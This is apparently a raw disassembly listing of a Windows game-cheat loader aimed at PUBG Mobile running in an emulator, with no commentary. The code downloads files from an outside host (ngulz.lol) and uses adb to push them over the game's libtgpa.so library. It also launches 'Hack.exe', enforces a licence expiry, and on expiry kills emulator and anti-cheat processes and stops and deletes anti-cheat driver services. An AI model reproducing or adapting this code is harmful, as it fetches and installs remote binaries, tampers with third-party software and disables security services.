call fcn.1400c4470
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.Hack.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400130b0
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400130ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400130ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4470
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm6, dword [0x14013f678]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x42f00000
mov dword [rbp - 0x1c], 0x41b00000
movaps xmm0, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.Fix_ESP
call fcn.14000b8b0
test al, al
je 0x1400132ee
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:LibVIS.so
lea rdx, str.https:__ngulz.lol_LibVIS.so
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140013e24
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0xf]
lea rdx, str.adb_kill_server
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.C:Windows_adb.exe
lea rcx, [rbp - 0x40]
call fcn.140008c40
mov edx, 0x402
lea rcx, [rbp - 0x40]
call fcn.140004ad0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, Ordinal_26
lea rdx, str.C:WindowsAdbWinApi.dll
lea rcx, [rbp - 0x40]
call fcn.140008c40
mov edx, 0x403
lea rcx, [rbp - 0x40]
call fcn.140004ad0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, reloc.WLDAP32.dll_Ordinal_79
lea rdx, str.adb__s_emulator_5554_push_C:LibVIS.so__data_data_com.tencent.ig_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, 0x52
lea rdx, str.adb__s_emulator_5554_push_C:LibVIS.so__data_data_com.pubg.krmobile_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, 0x53
lea rdx, str.adb__s_emulator_5554_push_C:LibVIS.so__data_data_com.vng.pubgmobile_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
xor r9d, r9d
lea r8, str.Snake
lea rdx, [0x1400db494]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r9d, r9d
lea r8, str.Snake
lea rdx, [0x1400db494]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f664]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x42e40000
mov dword [rbp - 0x1c], 0x41a80000
movaps xmm0, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.VNHAX_Vischeck
call fcn.14000b8b0
test al, al
je 0x140013557
call fcn.1400042a0
xor ecx, ecx
test al, al
je 0x14001353d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:_snake.lic
lea rdx, str.https:__ngulz.lol_snake.lic
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140013e24
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0xf]
lea rdx, str.adb_kill_server
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.C:Windows_adb.exe
lea rcx, [rbp - 0x40]
call fcn.140008c40
mov edx, 0x402
lea rcx, [rbp - 0x40]
call fcn.140004ad0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, Ordinal_26
lea rdx, str.C:WindowsAdbWinApi.dll
lea rcx, [rbp - 0x40]
call fcn.140008c40
mov edx, 0x403
lea rcx, [rbp - 0x40]
call fcn.140004ad0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, reloc.WLDAP32.dll_Ordinal_79
lea rdx, str.adb__s_emulator_5554_push_C:_snake.lic__data_data_com.tencent.ig_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, 0x52
lea rdx, str.adb__s_emulator_5554_push_C:_snake.lic__data_data_com.pubg.krmobile_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, 0x53
lea rdx, str.adb__s_emulator_5554_push_C:_snake.lic__data_data_com.vng.pubgmobile_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, 0x50
lea rdx, str.adb__s_emulator_5554_push_C:_snake.lic__data_data_com.rekoo.pubgm_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
lea rcx, str.C:_snake.lic
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea rdx, [0x1400db494]
xor ecx, ecx
jmp 0x14001354a
mov r9d, reloc.WS2_32.dll_recv
lea rdx, str.64BIT_GAMELOOP_NOT_SUPPORT_
lea r8, str.Snake
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f640]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x42e40000
mov dword [rbp - 0x1c], 0x41a80000
movaps xmm0, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.ConfigKR
call fcn.14000b8b0
test al, al
je 0x140013620
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14000e990]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x42e40000
mov dword [rbp - 0x1c], 0x41a80000
movaps xmm0, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.ConfigVNG
call fcn.14000b8b0
test al, al
je 0x1400136e5
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14000ef50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8, qword [0x140157888]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1e70]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e70], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1e70]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e70], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
call fcn.14002aac0
mov rcx, qword [0x140157888]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
lea r14, [0x1400dce90]
mov r9d, dword [r14 + r10*4 + 8]
cmp dword [r14 + r10*4], 8
jne 0x1400137f7
mov eax, dword [r14 + r10*4 + 4]
cmp eax, 1
jne 0x1400137d8
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x1400137f7
cmp eax, 2
jne 0x1400137f7
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140024670
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f5fc]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
lea rdx, [0x140188df8]
lea rcx, [rbp - 0x40]
call fcn.140007c80
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14001389c
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400138e5
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400138e0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140013b9c
mov rcx, r8
call fcn.1400c4470
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
sub rdi, rax
cmp rdi, 0x12c
jg 0x140013934
cmp byte [0x14018d5c8], 0
jne 0x140013934
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x1400d839b]
lea rdx, str.Key_Sap_Het_Han
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov byte [0x14018d5c8], 1
lea rdx, [0x140188df8]
lea rcx, [rbp - 0x40]
call fcn.140007c80
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140013954
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14001399d
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140013998
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140013ba3
mov rcx, r8
call fcn.1400c4470
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
cmp rdi, rax
jns 0x140013baa
mov rax, qword [0x140157918]
mov byte [rax + 0xb2], 0
lea rdx, str.TaskKill__F__IM_Loader.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_appmarket.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_AndroidEmulator.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_AndroidEmulatorEn.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_AndroidEmulatorEx.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_aow_exe.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_QMEmulatorService.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.taskkill__f__im_RuntimeBroker.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.taskkill__f__im_adb.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.taskkill__f__im_GameLoader.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.taskkill__f__im_TSettingCenter.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.taskkill__f__im_checker.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_ProjectTitan.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.TaskKill__F__IM_AndroidProcess.exe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.net_stop_aow_drv
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.net_stop_Tensafe
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.net_stop_tesrsdt
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.sc_stop_aow_drv
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
lea rdx, str.sc_delete_aow_drv
lea rcx, [rbp - 0x40]
call fcn.140007c40
mov rcx, rax
call fcn.1400049a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [0x140188df8]
lea rcx, [rsp + 0x40]
call fcn.140007c80
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140013bcb
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140013c14
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140013c0f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140013ce7
mov rcx, r8
call fcn.1400c4470
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp - 0x20], rdi
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp - 0x60], xmm1
mov eax, dword [rbp - 0x80]
mov dword [rbp - 0x50], eax
lea r9, [rbp - 0x70]
lea r8, str._d__m__Y___H:_M:_S
mov edx, 0x50
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
lea rax, [rbp + 0x10]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140013c80
mov r8, rsi
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x40]
call fcn.140008c40
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
lea rcx, str.Expiry:__s
call fcn.140051be0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140013cf3
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013cee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013cee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4470
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x14013f620]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x14013f66c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14000deb0
call fcn.14002a3b0
mov r8, qword [0x140157888]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
movsxd rax, dword [r8 + 0x1e80]
lea rcx, [rax + rax*2]
mov rdx, qword [r8 + 0x1e88]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r14 + r10*4 + 8]
cmp dword [r14 + r10*4], 8
jne 0x140013e1d
mov eax, dword [r14 + r10*4 + 4]
cmp eax, 1
jne 0x140013e00
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
jmp 0x140013e1d
cmp eax, 2
jne 0x140013e1d
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r9 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r9 + r8 + 0x163c], eax
dec dword [r8 + 0x1e80]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.1400c4450
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400021f0
nop
call fcn.1400021f0
int3
call fcn.1400021f0
int3